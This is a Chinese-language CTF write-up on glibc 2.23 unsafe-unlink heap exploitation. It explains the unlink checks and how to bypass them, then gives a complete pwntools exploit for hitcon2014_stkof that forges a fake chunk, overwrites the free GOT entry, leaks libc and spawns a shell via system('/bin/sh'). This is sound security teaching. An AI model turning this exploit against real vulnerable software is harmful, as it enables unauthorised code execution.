0x01 正常unlink
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。
- 根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
- 设置FD->bk=BK
- 设置BK->fd=FD
下面看一下unlink的源码。
#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷贝到understand中进行源码阅读
size检查
第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
//第一个检查
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
//第二个检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else {
\
//完成上图的unlink过程
//具体过程可以看源码
} \
}
0x02 利用思路
要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。
1.第一种利用思路
利用条件
- 存在UAF可以修改p的fd和bk
- 存在一个指针指向p
利用方法
- 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
- free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
2.第二种方法思路
这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。
利用条件
- 可以修改p的下一个chunk->pre_size和inuse位
- 存在一个指针指向chunk p的内容部分
利用方法
- 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
- 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。
- 修改下一个chunk的inuse位。
- free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。
效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
0x03 例题 hitcon2014_stkof
1.查看程序保护
可以修改GOT表,没有PIE,很好。
试运行,没有输出。
2.查看程序
菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途
add函数
add就是正常的add
- 读入size
- malloc对应的size
- 0x602100记录的是已经申请的note数量
- 0x602140是heaparray指针数组
edit函数
没有验证输入的size大小,存在heap overflow
- 输入index
- 输入size
- 输入content
delete函数
- 将堆块释放
- 将数组置0
3.利用方法
这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。
- 构造fakechunk来unlink使bss段中的堆指针指向附近
- 利用edit函数,修改函数指针指向free_got
- 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址
- 将free_got改为system地址
- 调用free函数释放掉内容为"/bin/sh"的堆块来getshell
这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。
创建堆块
idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并
head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
构造完成的堆空间分布
0x602100存储了note数量
0x602140存储了指针数组,索引从1开始
构造fakechunk
如下图,黄框为构造的fakechunk
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
unlink
释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的
leak libc
将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
4.exp
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',28755)
elf = ELF('./stkof')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
0x04 总结
- 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并
- 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink
1.创造fakechunk,这里针对64位
presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
2.覆盖下一个chunk
presize = 原pre_size-0x10
size从0x91改为0x90
3.触发unlink
free(chunk1)
chunk1会和前面的chunk0进行合并,断链
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18
参考链接:ctfwiki unlink